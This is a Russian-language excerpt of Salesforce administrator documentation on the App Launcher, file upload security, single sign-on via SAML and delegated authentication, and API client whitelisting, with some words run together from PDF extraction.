Средство запуска приложений — это универсальный пользовательский интерфейс,
отображающий логотипы всех локальных приложений, связанных приложений и
приложений Salesforce. Администраторы могут настраивать стандартный порядок
приложений для организаций.

Средство запуска приложений доступно всем пользователям Lightning Experience.

Пользователям Salesforce Classic требуется полномочие «Использование функций
подлинности» и настройка параметра «Доступно» средства запуска приложений в
профиле. Пользователи видят только те приложения, для доступа к которым они
авторизованы.
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В Salesforce Classic средство запуска приложений автоматически доступно администраторам, использующим профиль
«Системныйадминистратор». Средствозапускаприложенийнедоступноадминистраторам, использующимклонированные
профили.

Включение средства запуска приложений посредством профиля в Salesforce Classic

Чтобыпредоставитьдоступксредству запускаприложений, создайтепрофильиназначьте егонужнымпользователям.

Включение средства запуска приложений посредством набора полномочий в Salesforce Classic

Чтобы предоставить доступ к средству запуска приложений, создайте набор полномочий и назначьте его нужным
пользователям.

СМ. ТАКЖЕ:

Открытие другого приложения

Сортировка приложений

Общие сведения о связанных приложениях

salesforce_identity_implementation_guide.pdf

Включение средства запуска приложений посредством профиля в Salesforce Classic

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Чтобы предоставить доступ к средству запуска приложений, создайте профиль и
назначьте его нужным пользователям.

Прим.: Эти действия доступны в Salesforce Classic. Если вверху экрана имеется ряд
вкладок, вы находитесь в Salesforce Classic. Если слева находится панель навигации,
вы в Lightning Experience.

В Salesforce Classic средство запуска приложений автоматически доступно
администраторам, использующим профиль «Системный администратор». Средство
запуска приложений недоступно администраторам, использующим клонированные
профили.

1. Вразделе «Настройка» введите «Профили» вполе «Быстрый поиск», затемвыберите
«Профили».

2. Нажмите кнопку «Создать профиль».

3. Выберите нужное значение из раскрывающегося списка «Готовый профиль».

Например, выберите значение «Стандартный пользователь».

4. Введите имя нового профиля.

Например, «Удостоверение стандартного пользователя».

5. Нажмите кнопку «Сохранить».

6. Нажмите кнопку «Правка» на странице сведений о новом профиле.

7. Установите флажок «Доступно» напротив параметра «Средство запуска приложений» в разделе «Параметры
настраиваемого приложения».

Убедитесь, что вкладке «Средство запуска приложений» задано значение «Включены стандартные параметры» в
разделе «Параметры вкладки».

8. Установите флажок «Использованиефункций подлинности» в разделе «Полномочия администратора».
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9. Нажмите кнопку «Сохранить».

10. Введите строку «Пользователи» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Пользователи».

11. Щелкните ссылку «Правка» напротив каждого нужного пользователя.

12. Выберитеновыйпрофиль, поддерживающийполномочие «Использованиефункцийподлинности», вполе «Профиль»
страницы сведений о пользователе.

Например, выберите профиль «Удостоверение стандартного пользователя».

13. Нажмите кнопку «Сохранить».

При входе от имени выбранного пользователя средство запуска приложенийотображается в раскрывающемсяменю
приложений.

СМ. ТАКЖЕ:

Средство запуска приложений

Включение средства запуска приложений посредством набора полномочий в Salesforce Classic

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Чтобыпредоставитьдоступксредству запускаприложений, создайтенаборполномочий
и назначьте его нужным пользователям.

Прим.: Эти действия доступны в Salesforce Classic. Если вверху экрана имеется ряд
вкладок, вы находитесь в Salesforce Classic. Если слева находится панель навигации,
вы в Lightning Experience.

1. Введите строку «Наборы полномочий» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Наборы полномочий».

2. Нажмите кнопку «Создать».

3. Заполните поле «Метка».

Например, «Функции подлинности».

4. При необходимости выберите конкретную лицензию пользователя.

5. Нажмите кнопку «Сохранить».

6. Щелкните ссылку «Полномочия системы».

7. Нажмите кнопку «Правка».

8. Установите флажок «Использованиефункций подлинности».

9. Нажмите кнопку «Сохранить».

10. Введите строку «Пользователи» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Пользователи».

11. Щелкните имя текущего пользователя, которому должен быть предоставлен доступ к средству запуска приложений.

12. Нажмите кнопку «Редактировать назначения» в связанном списке «Назначения набора полномочий».

13. Добавьте созданный набор полномочий в столбец «Включенные наборы полномочий».

14. Нажмите кнопку «Сохранить».

При входе от имени выбранного пользователя средство запуска приложенийотображается в раскрывающемсяменю
приложений.
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Прим.: Если средство запуска приложений все еще не отображается: В профиле, связанном с пользователем,
выберите пункт «Доступно» для параметра Средство запуска приложений.

СМ. ТАКЖЕ:

Средство запуска приложений

Настройка параметров безопасности загрузки файлов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки параметров
загрузки файлов:
• «Настройка

приложения»

Из соображений безопасности организация может настраивать способ обработки
некоторых типов файлов, используемый во время загрузки.

Чтобы управлять параметрами загрузки файлов, выполните указанные ниже действия.

1. В разделе «Настройка» введите «Безопасность загрузки файлов» в поле «Быстрый
поиск», затем выберите «Безопасность загрузкифайлов».

2. Нажмите кнопку «Правка».

3. Чтобызапретить загрузкуфайлов, которыемогутпредставлятьугрозубезопасности,
установитефлажок «Запретить загрузку HTML-файлов в качестве вложений или
записей документов».

Данныйпараметрблокирует загрузкуфайловследующихтипов MIME: .html, .htt,
.mht, .svg, .swf, .thtml и .xhtml.

Внимание: Нижеперечисленырекомендациипонастройкеданногопараметра.

• Если организация использует партнерский портал для предоставления
пользователям-партнерам доступа к системе Salesforce, не рекомендуем
включать данный параметр. Включение данного параметра блокирует
настройку внешнего вида партнерского портала.

• Данный параметр не распространяется на решения, которые не
поддерживают HTML-вложения, ишаблоны эл. почты, которые всегда
поддерживают HTML-вложения.

• Установка данного флажка не влияет на HTML-документы и вложения,
загруженные ранее. Тем не менее, при попытке просмотра HTML-вложения
или документа отображается подсказка, предлагающая открыть файл в
обозревателе, сохранитьфайлнакомпьютерилиотменитьданноедействие.

4. Настройте алгоритм загрузки для каждого типа файла.

a. «Загрузить» (рекомендуется): загрузка файла любого типа выполняется во всех случаях.

b. «Выполнить в обозревателе»: файл любого типа отображается и выполняется автоматически при просмотре
посредством обозревателя или HTTP-запроса.

c. «Гибрид»: Salesforce Files загружены. Приложения и документы выполняются в обозревателе.

5. Нажмите кнопку «Сохранить».
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Безопасность подключения

Общие сведения о единой регистрации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Интегрированная проверка
подлинности доступна в
версиях: все версии.

Делегированная проверка
подлинности доступна в
версиях: Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Поставщики проверки
подлинности доступны в
версиях: Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра параметров:
• «Просмотр настройки и

конфигурации»

Для редактирования
параметров:
• «Настройка

приложения»

И

«Изменение всех
данных»

Единая регистрация — это процесс, предоставляющий пользователям сети доступ ко
всем авторизованным сетевым ресурсам без выполнения входа на каждый отдельный
ресурс. Функция единой регистрации позволяет проверять имена пользователей и
пароли посредством корпоративной базы данных пользователей или любого другого
клиентского приложения взамен использования разных паролей, контролируемых
системой Salesforce.

Ниже перечислены способы использования функции единой регистрации,
поддерживаемые системой Salesforce.

• Интегрированная проверка подлинности посредством SAML позволяет пересылать
данные авторизации и проверки подлинности между дочерними, но несвязанными
веб-службами. ДанныйалгоритмпозволяетвыполнятьединыйвходвсистемуSalesforce
посредством клиентского приложения. Интегрированная проверка подлинности
посредством SAML включена по умолчанию.

• Единая регистрация с делегированной проверкой подлинности позволяет
интегрировать систему Salesforce с методом проверки подлинности, выбранным
пользователем. Данный алгоритм позволяет интегрировать проверку подлинности
на сервер LDAP или выполнять единую регистрацию путем проверки подлинности
посредствоммаркера. Делегированнаяпроверкаподлинностиуправляетсяна уровне
полномочий, позволяя некоторым пользователям использовать делегированную
проверку подлинности, а другим — пароль под управлением Salesforce.
Делегированная проверка подлинности устанавливается полномочиями, а не
организацией.

Ниже перечислены основные причины использования делегированной проверки
подлинности.

– Использование более строгого типа проверки подлинности пользователей
(например, интеграция с безопасным поставщиком удостоверений)

– Отмена общего доступа ко странице входа и ее использование в качестве
компонента корпоративной сети, защищенного брандмауэром

– Дифференцирование организации пользователя от других компаний,
использующих систему Salesforce для сокращения количествафишинговых атак

Данная функция включается компанией Salesforce по дополнительному запросу.
Чтобы включить единую регистрацию с делегированной проверкой подлинности
в организации, обратитесь в компанию Salesforce.

• Поставщики проверки подлинности позволяют пользователям выполнять вход в
организацию Salesforce посредством их регистрационных данных во внешнем
поставщике услуг. Salesforce supports the OpenId Connect protocol that allows users to log
in from any OpenID provider such as Google, PayPal, LinkedIn and other services supporting
OpenID Connect. Если включены поставщики проверки подлинности, то система
Salesforce не проверяет пароль пользователя. Взамен, система Salesforce использует регистрационные данные
пользователя из внешнего поставщика услуг для определения регистрационных данных проверки подлинности.
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Приналичиивнешнегопоставщика удостоверенийинастройке единойрегистрациидля организации Salesforce система
Salesforce выступает в качестве поставщика услуг. При необходимости включите систему Salesforce в качестве поставщика
удостоверений и разрешите единую регистрацию для подключения к другому поставщику услуг. Настройка единой
регистрации требует наличия только поставщика услуг.

Страница «Параметры единой регистрации» отображает версию единой регистрации, доступную для организации.
Дополнительнуюинформациюопараметрах единойрегистрациисм. вразделе «Настройкапараметров SAML для единой
регистрации». Дополнительную информацию о SAML и безопасности системы Salesforce см. в Руководстве по обеспечению
безопасности.

Преимущества единой регистрации
Ниже перечислены основные преимущества внедрения единой регистрации в организации.

• Снижение административных расходов. Благодаря единой регистрации, пользователям достаточно запомнить
один пароль для доступа к сетевым ресурсам или внешним приложениям и системе Salesforce. Доступ к системе
Salesforce из корпоративной сети выполняется автоматически — без ввода имени пользователя и пароля. Доступ к
системе Salesforce вне корпоративнойсетивыполняетсяпосредствомучетныхданныхпользователейв корпоративной
сети. Сокращение количества используемых паролей позволяет снизить количество запросов на их восстановление.

• Использованиетекущихинвестиций.Многиекомпаниииспользуютцентральнуюбазуданных LDAP дляуправления
удостоверениями пользователей. Если функция проверки подлинности Salesforce передается данной системе, то
пользователь, удаленный из системы LDAP, теряет возможность доступа к системе Salesforce. Соответственно,
пользователи, увольняющиеся из компании, автоматически теряют доступ к корпоративным данным.

• Экономия времени.Как правило, вход в веб-приложение занимает 5-20 секунд или более при неправильном вводе
имени пользователя или пароля. Функция единой регистрации позволяет исключить необходимость ввода
регистрационныхданных Salesforce вручную. Данные сэкономленные секундымогут быть потраченына выполнение
других задач.

• Сокращениевременивнедрениясредипользователей.Функцияединойрегистрациипозволяетповыситьчастоту
использования системы Salesforce. Например, пользователи могут отправлять сообщения эл. почты, содержащие
ссылки на сведения Salesforce (например, записи и отчеты). Ссылки, выбранные получателем сообщения эл. почты,
автоматически открывают соответствующую страницу Salesforce.

• Повышение безопасности. Все политики паролей, действующие в корпоративной сети, также распространяются
на систему Salesforce. Кроме того, безопасностьпользователей, имеющихдоступк конфиденциальнымданным, может
бытьповышенапутемотправкирегистрационныхданныхпроверкиподлинности, действительныхтолькодляразового
входа.

Рекомендации по внедрению единой регистрации

Общие сведения о функции единой регистрации с делегированной проверкой подлинности

Настройка системы Salesforce для делегированной проверки подлинности

Определение доступа отдельного API-клиента к организации Salesforce

Функция «Добавление API-клиентовв списокразрешенных» требуетподтвержденияадминистраторомвсехклиентских
приложений API (например, Data Loader), кроме случаевназначенияполномочия «Использованиелюбого API-клиента»
профилю или набору полномочий пользователя.

Просмотр ошибок входа посредством единой регистрации
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Рекомендации по внедрению единой регистрации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Интегрированная проверка
подлинности доступна в
версиях: все версии.

Делегированная проверка
подлинности доступна в
версиях: Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Клиентские и партнерские
порталы недоступны в
версии Database.com
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра параметров:
• «Просмотр настройки и

конфигурации»

Для редактирования
параметров:
• «Настройка

приложения»

И

«Изменение всех
данных»

Нижеперечисленыспособыиспользованияфункцииединойрегистрации Single Sign-On,
поддерживаемые системой Salesforce.

• Интегрированная проверка подлинности с помощью SAML позволяет пересылать
данные авторизацииипроверки подлинностимежду дочерними, но не связанными
веб-службами. ДанныйалгоритмпозволяетвыполнятьединыйвходвсистемуSalesforce
посредством клиентского приложения. Интегрированная проверка подлинности
посредством SAML включена по умолчанию.

• Единая регистрация с делегированной проверкой подлинности позволяет
интегрировать систему Salesforce с методом проверки подлинности, выбранным
пользователем. Данный алгоритм позволяет интегрировать проверку подлинности
на сервер LDAP или выполнять единую регистрацию путем проверки подлинности
посредствоммаркера. Делегированнаяпроверкаподлинностиуправляетсяна уровне
полномочий, позволяя некоторым пользователям использовать делегированную
проверку подлинности, а другим — пароль под управлением Salesforce.
Делегированная проверка подлинности устанавливается полномочиями, а не
организацией.

Ниже перечислены основные причины использования делегированной проверки
подлинности.

– Использование более строгого типа проверки подлинности пользователей
(например, интеграция с безопасным поставщиком удостоверений)

– Отмена общего доступа ко странице входа и ее использование в качестве
компонента корпоративной сети, защищенного брандмауэром

– Дифференцирование организации пользователя от других компаний,
использующих систему Salesforce для сокращения количествафишинговых атак

Данная функция включается компанией Salesforce по дополнительному запросу.
Чтобы включить единую регистрацию с делегированной проверкой подлинности
в организации, обратитесь в компанию Salesforce.

• Поставщики проверки подлинности позволяют пользователям выполнять вход в
организацию Salesforce с помощью своих учетных данных во внешнем поставщике
услуг. Система Salesforce поддерживает протокол OpenId Connect, позволяющий
пользователям выполнять вход с помощью любого поставщика OpenID (например,
Google, PayPal, LinkedIn и другие службы, поддерживающие OpenID Connect). Если
включены поставщики проверки подлинности, то система Salesforce не проверяет
парольпользователя. Взамен, система Salesforceиспользуетрегистрационныеданные
пользователя из внешнего поставщика услуг для определения регистрационных
данных проверки подлинности.

При необходимости настройте SAML для использования на порталах и сайтах.

Рекомендации по делегированной проверке подлинности

Ниже перечислены рекомендации по внедрению единой регистрации с делегированной проверкой подлинности в
организации.

• Рекомендуемвнедритьвеб-службу, доступнуюнасерверахSalesforce. Другимисловами, пользовательдолженразвернуть
веб-службу на сервере в собственной зоне DMZ. Обязательно используйте внешнее имя DNS-сервера при вводе
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параметра «URL-адрес делегированного шлюза» в разделе «Делегированная проверка подлинности» в системе
Salesforce (введите строку «Параметры единой регистрации» в поле«Быстрый поиск» в меню «Настройка», затем
выберите пункт «Параметры единой регистрации»).

• Еслимежду Salesforce и системойпользователя не может быть установлено подключение или запрос обрабатывается
более 10 секунд, то вход не выполняется. Пользователю отображается сообщение об ошибке, уведомляющее о сбое
корпоративной службы проверки подлинности.

• Запросы SOAP должны содержать точные пространства имен, имена элементов и капитализацию. По возможности
рекомендуем создать серверную заглушку на основе WSDL.

• Из соображений безопасности, веб-служба должна быть доступна по TLS. Рекомендуем использовать сертификат от
проверенногопоставщика (например, Verisign или Thawte). Полныйсписокпроверенныхпоставщиковможнополучить
в компании Salesforce.

• IP-адрес, инициировавший запрос на вход, определяется параметром sourceIp. Рекомендуемиспользовать данные
сведения для ограничения доступа на основе местоположения пользователя. Обратите внимание, что функция
Salesforce, проверяющая диапазоны IP-адресов входа, применяется к пользователям единой регистрации.
Дополнительную информацию см. в разделе «Настройка ограничений входа» на странице 926.

• Внутренние имена пользователей организации могут требовать соотнесения с именами пользователей Salesforce.
Еслиорганизациянеиспользует стандартноесоотнесение, рекомендуемрасширитьсхемубазыданныхпользователей
(например, Active Directory) для добавления имени пользователя Salesforce как атрибута учетной записи пользователя.
Данныйатрибутможетиспользоватьсяслужбойпроверкиподлинностидляобратногосоотнесениясучетнойзаписью
пользователя.

• Рекомендуем не включать функцию единой регистрации для системных администраторов. В противном случае
системные администраторы не смогут выполнить вход в систему Salesforce при сбое сервера единой регистрации.
СистемнымадминистраторамдолженбытьвсегдадоступенвходвсистемуSalesforce, позволяющийпринеобходимости
отключать функцию единой регистрации.

• Прежде чем внедрить разработанное решение единой регистрации, рекомендуем протестировать его в организации
Developer Edition или безопасной среде. Чтобы зарегистрировать бесплатную организацию Developer Edition,
воспользуйтесь веб-узлом developer.salesforce.com.

• Рекомендуем протестировать внедренное решение в клиентах Salesforce (например, Salesforce for Outlook, Connect for
Office и Connect Offline). Дополнительную информацию см. на странице Single Sign-On for Salesforce clients.

Рекомендации по интегрированной проверке подлинности посредством SAML

Ниже перечислены рекомендации по внедрению единой регистрации с интегрированной проверкой подлинности
посредством SAML в организации.

• Найдите значение поля «URL-адрес входа Salesforce» на странице конфигурации «Параметры единой
регистрации» ивставьтееговсоответствующийпараметрконфигурациипоставщикаудостоверений (иногданазывается
URL-адресом получателя).

• СистемаSalesforceдопускаетразницуотносительносерверапоставщикаудостоверенийнеболеетрехминут. Убедитесь,
что часы сервера идут правильно.

• Если вход не может быть выполнен посредством утверждения SAML, рекомендуем проверить журнал входов и
просмотреть сообщение об ошибке. Чтобы устранить возникшие неполадки, воспользуйтесь средством проверки
утверждения SAML на странице конфигурации «Параметры единой регистрации».

• Внутренние имена пользователей организации могут требовать соотнесения с именами пользователей Salesforce.
Выполнитеодноиздвухдействий: добавьтеуникальныйидентификаторвполе FederationIdentifier каждого
пользователя Salesforce или расширьте схему базы данных пользователей (например, Active Directory) для добавления
именипользователя Salesforce как атрибута учетной записипользователя. Выберите соответствующее значение вполе
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«Тип кода пользователя SAML» и настройте службу проверки подлинности для отправки идентификатора в
утверждениях SAML.

• Прежде чем разрешить пользователям вход посредством утверждений SAML, включите настройку организации SAML
и добавьте все нужные конфигурации.

• Чтобы запретить прямой вход пользователей в систему Salesforce и предоставить администраторам дополнительный
контрольнадполитикамивхода, воспользуйтесьфункцией «Мойдомен». Принеобходимостиприменитепараметры
URL-адреса, указанные в значении поля «URL-адрес входа Salesforce» на странице конфигурации «Параметры
единой регистрации», к настраиваемому домену.

Например, если поле «URL-адрес входа Salesforce» содержит значение
https://login.salesforce.com/?saml=02HKiP...,

воспользуйтесь следующим адресом: https://<имя_домена>.my.salesforce.com/?saml=02HKiP....

• Чтобыпротестироватьрешение единойрегистрации SAML, рекомендуемиспользоватьорганизацию Developer Edition
илибезопаснуюсреду. Чтобызарегистрироватьбесплатнуюорганизацию Developer Edition, воспользуйтесь веб-узлом
developer.salesforce.com.

• Копии безопасной среды создаются с отключенной интегрированной проверкой подлинности на основе SAML.
Сведенияоконфигурации, кроме значенияполя «URL-адрес входа Salesforce», сохраняются. Поле «URL-адрес
входа Salesforce» обновляется для соответствия URL-адресу безопасной среды (например,
http://cs1.salesforce.com) после повторного включения SAML. Чтобы включить SAML в безопасной среде,
введите строку «Параметры единой регистрации» в поле «Быстрый поиск» вменю «Настройка», затем выберитепункт
«Параметры единой регистрации», щелкните «Правка» и установите флажок «SAML включен».

• Поставщикудостоверенийдолженразрешитьнастройку URL-адресадляаудиториипоставщикауслуг. Данноезначение
должно соответствовать значению «Код объекта» в конфигурации единой регистрации. Значение по умолчанию:
https://saml.salesforce.com.

Рекомендации по единой регистрации для порталов

Клиентские и партнерские порталы недоступны новым организациям, созданным в выпуске Summer'13 и более поздних
выпусках. Взамен, рекомендуем использовать сообщества. Дополнительную информацию об использованиифункции
единой регистрации и SAML в сообществах см. в разделе «Настройка SAML для сообществ» документа «Начало работы с
сообществами». Ниже перечислены некоторые рекомендации по использованию порталов.

• Порталы поддерживают только SAML 2.0.

• Поддерживаются только клиентские и партнерские порталы.

• Вход, инициированный поставщиком услуг, не поддерживается.

• Единая регистрация для порталов требует наличия обоих атрибутов portal_id и organization_id. При
наличии только одного атрибута система возвращает ошибку.

• Если утверждение SAML содержит оба атрибута (portal_id и organization_id), то пользователю открывается
страница входа на портал. В противном случае пользователю открывается обычная страница входа Salesforce
посредством SAML.

• Отдельная организация может использовать несколько порталов.

Рекомендации по единой регистрации для сайтов

• Сайты поддерживают только SAML 2.0.

• Поддерживаются только клиентские и партнерские порталы.

• Вход, инициированный поставщиком услуг, не поддерживается.
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• Единаярегистрациядля сайтов требуетналичия трех атрибутов portal_id, organization_id и siteUrl. При
наличии только одного атрибута система возвращает ошибку.

• Еслиутверждение SAML содержитвсе триатрибута (portal_id, organization_id и siteUrl), топользователю
открывается страницавходана сайты. Приотсутствииатрибута siteUrl пользователюоткрывается страницавхода
на портал.

• Отдельная организация может использовать несколько порталов.

СМ. ТАКЖЕ:

Общие сведения о единой регистрации

Общие сведения о функции единой регистрации с делегированной проверкой подлинности

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра параметров:
• «Просмотр настройки и

конфигурации»

Для редактирования
параметров:
• «Настройка

приложения»

И

«Изменение всех
данных»

Ниже описан процесс проверки подлинности пользователей Salesforce посредством
единой регистрации с делегированной проверкой подлинности.

1. Если пользователь пытается выполнить вход посредством веб-приложения или
интерфейса API, то система Salesforce проверяет имя пользователя, полномочия
пользователя и параметры доступа.

2. При наличии полномочия «Единая регистрация включена» система Salesforce не
проверяет имя пользователя и пароль. Взамен, система генерирует вызов веб-служб,
запрашивающий организацию пользователя о проверке имени пользователя и
пароля.

Прим.: Паролипользователейне хранятся и не заносятся в журналы Salesforce.
Система удаляет данные сведения по завершении проверки.

3. Вызов веб-служб передает username, password и sourceIp в веб-службу
пользователя. (sourceIp — это IP-адрес, инициировавший запрос на вход.
Рекомендуем создать и внедрить веб-службу, доступную серверам Salesforce.)

4. Веб-службапользователяпроверяетпереданныеданныеивозвращаетответ «истина»
или «ложь».

5. При получении ответа «истина» система продолжает процесс входа, создает сеанс
ипредоставляетпользователюдоступкприложению. Приполученииответа «ложь»
системауведомляетпользователяонедействительностиименипользователяипароля.

Прим.: Применение делегированной проверки подлинности может вызвать
кратковременную задержку при входе пользователя. Данное время необходимо
для активации учетной записи пользователя в организации.

СМ. ТАКЖЕ:

Общие сведения о единой регистрации
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Настройка системы Salesforce для делегированной проверки подлинности

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра параметров:
• «Просмотр настройки и

конфигурации»

Для редактирования
параметров:
• «Настройка

приложения»

И

«Изменение всех
данных»

Чтобы включить единую регистрацию с делегированной проверкой подлинности в
организации, выполните указанные ниже действия.

1. Чтобы включить единую регистрацию с делегированной проверкой подлинности
в организации, обратитесь в компанию Salesforce.

2. Создайте веб-службу единой регистрации.

a. В Salesforce загрузите файл Web Services Description Language (WSDL) с именем
AuthenticationService.wsdl, для этого введите строку «Загрузить WSDL

делегированной проверки подлинности» вполе «Быстрый поиск» вменю «Настройка»,
затем выберите пункт «Загрузить WSDL делегированной проверки
подлинности». Файл WSDL описывает службу единой регистрации с
делегированной проверкой подлинности и может использоваться для
автоматического создания серверной заглушки, которая может быть дополнена
конкретным внедрением. Например, переключатель --server-side может
использоваться в инструменте WSDL2Java на платформе Apache Axis.
Переключатель /server может использоваться в инструменте wsdl.exe на
платформе .NET.

Примеры запроса и ответа см. в подразделе «Пример сообщения SOAP для
делегированной проверки подлинности» на странице 997.

b. Добавьте ссылку на внутрикорпоративную сеть или другой внутренний сайт,
который передает регистрационные данные проверенного пользователя
посредством HTTP POST на страницу входа Salesforce.

Система Salesforce использует поле password только для возврата пароля
пользователю, поэтому значение данного поля может не передаваться. Взамен,
рекомендуем передать другой маркер проверки подлинности (например, билет
Kerberos), позволяющий заблокировать передачу действующих корпоративных
паролей в систему Salesforce или из нее.

ПринеобходимостинастройтецентрделегированнойпроверкиподлинностиSalesforce, позволяющийразрешать
только маркеры, либо принимать маркеры или пароли. Если центр принимает только маркеры, то пользователь
Salesforceнеможет выполнить вход в систему Salesforceнапрямую, так какнеможет создать действительныймаркер.
Тем не менее, многие компании разрешают использование как маркеров, так и паролей. Данная среда позволяет
пользователю выполнять вход в систему Salesforce посредством страницы входа.

ЕслисерверSalesforceвозвращаетрегистрационныеданныевсообщении Authenticate, рекомендуемпроверить
данные, чтобы предоставить пользователю доступ к приложению.

3. В Salesforce укажите URL-адресшлюза единойрегистрацииорганизации, для этого введите строку «Единая регистрация»
вполе «Быстрый поиск» вменю «Настройка», затемвыберитепункт«Параметрыединойрегистрации»ищелкните
«Правка». Введите URL-адрес в текстовое поле «URL-адрес делегированногошлюза».

Из соображений безопасности, система Salesforce ограничивает доступные исходящие порты.

• 80: данный порт принимает только подключения HTTP.

• 443: данный порт принимает только подключения HTTPS.

• 1024–66535 (включительно): данные порты принимают подключения HTTP или HTTPS.

4. При необходимости установите флажок «Применить выноску делегированной проверки подлинности».
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Прим.: Если данныйфлажок снят, то вызов не отправляется на конечную точку единой регистрации при
неудачной попытке входа, являющейся результатом ограничений, установленных для организации Salesforce.
Чтобырегистрироватькаждуюпопыткувхода, установитеданныйфлажокдляприменениявыноскинаконечную
точку единой регистрации независимо от ошибок ограничения входа.

5. Включите полномочие «Единая регистрация включена».

Важное замечание: Дополнительнуюинформациюо способах просмотра ошибок входа см. в разделе «Просмотр
ошибок входа посредством единой регистрации» на странице 975.

СМ. ТАКЖЕ:

Общие сведения о единой регистрации

Общие сведения о функции единой регистрации с делегированной проверкой подлинности

Определение доступа отдельного API-клиента к организации Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра параметров:
• «Просмотр настройки и

конфигурации»

Для редактирования
параметров:
• «Настройка

приложения»

И

«Изменение всех
данных»

Функция «Добавление API-клиентов в список разрешенных» требует подтверждения
администраторомвсехклиентскихприложений API (например, Data Loader), кромеслучаев
назначения полномочия «Использование любого API-клиента» профилю или набору
полномочий пользователя.

Администраторымогутпредоставлятьнекоторымпользователям API-доступпосредством
полномочия «API включен». Назначенноеполномочиеразрешает API-доступпользователя
посредствомлюбого клиента (например, Data Loader, Salesforce1, Salesforce for Outlook или
Force.com Migration Tool). Чтобы точнее контролировать приложения, предназначенные
для API-доступа, включитефункцию «Добавление API-клиентовв списокразрешенных».
Даннаяфункцияиспользуеттекущиевозможностиавторизациисвязанныхприложений.
Благодаряфункции «Добавление API-клиентов в список разрешенных», администратор
может подтверждать или блокировать доступ отдельных клиентских приложений для
каждогосоответствующегосвязанногоприложения. Доступвсехклиентскихприложений,
которые не используются как связанные приложения, блокируется. При отсутствии
связанных приложений данное ограничение может быть ослаблено для отдельных
пользователей путем назначения профиля или набора полномочий со включенным
полномочием «Использование любого API-клиента».

Прим.: Чтобы включить функцию «Добавление API-клиентов в список
разрешенных», обратитесь в компанию Salesforce. Включение данной функции
инициирует ограничение доступа всех клиентов до его явного предоставления
администратором. Данное ограничение может заблокировать доступ к
приложениям, которые уже используются пользователями. Прежде чем включить
даннуюфункцию, рекомендуем настроить и подтвердить связанные приложения
длялюбогоклиентскогоприложения, необходимогопользователям, либоназначить
пользователям профиль или набор полномочий со включенным полномочием
«Использование любого API-клиента».

Чтобынастроитьфункцию «Добавление API-клиентоввсписокразрешенных», выполните
указанные ниже действия.

1. Чтобы включить даннуюфункцию для организации, обратитесь в компанию Salesforce.

2. Введитестроку «Связанные приложения» вполе «Быстрый поиск» вменю «Настройка» ивыберитепараметруправления
связанными приложениями.
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3. Нажмите кнопку «Правка» в разделе «Параметры доступа к приложению».

4. Установите флажок «Ограничить API-доступ к установленным связанным приложениям с политикой
"Пользователи, допущенные администратором, предварительно авторизованы"».

Чтобы разрешить любым страницам Visualforce, использующим API, дальнейший доступ к объектам организации,
установитефлажок «Разрешить страницамVisualforceигнорирование данного ограничения». При включении
функции «Добавление API-клиентов в список разрешенных» без выбора данного параметра авторизации подлежат
только подтвержденные связанные приложения, тогда как страницы Visualforce могут работать некорректно. Кроме
того, приотсутствииданногофлажкадоступклиентскихприложений, вызывающих getSessionId(), блокируется.
Доступ приложений, выполняющих вызовы API к системе Salesforce посредством сеанса, полученного в контексте
Visualforce, блокируется до установки данного флажка.

5. Нажмите кнопку «Сохранить».

После настройки данной функции авторизация всех клиентских приложений требует явного подтверждения
администратором, кроме случаев назначения пользователю профиля или набора полномочий со включенным
полномочием «Использование любого API-клиента».

Некоторыекомпонентычастоиспользуемыхприложенийавтоматическиустанавливаются ворганизацияхкак связанные
приложения. Данные компоненты поддерживают такие приложения, как Data Loader, Salesforce1 и т. д. После настройки
данной функции также потребуется подтверждение данных компонентов, кроме случаев назначения пользователю
профиляилинабораполномочийсовключеннымполномочием «Использованиелюбого API-клиента». Дополнительную
информацию о данных компонентах см. в разделе «Управление связанным приложением».

Просмотр ошибок входа посредством единой регистрации

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра ошибок
входа посредством единой
регистрации:
• «Изменение всех

данных»

Еслиорганизацияиспользует делегированнуюпроверку подлинностииподдерживает
встроенное решение единой регистрации, то пользователи могут просматривать
последние ошибки входа, выполненного посредством единой регистрации.

1. Введите строку «Журнал ошибок делегированной проверки подлинности» вполе «Быстрый
поиск» в меню «Настройка» и выберите пункт «Журналошибокделегированной
проверки подлинности».

2. Просмотритеимяпользователя, времявходаисамуошибкудля 21 последнейошибки
входа.

Прим.: Дополнительнуюинформациюовключениифункцииединойрегистрации
можно получить в компании Salesforce.

СМ. ТАКЖЕ:

Общие сведения о единой регистрации
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Общие сведения о SAML

ВЕРСИИ

Доступно в версиях:
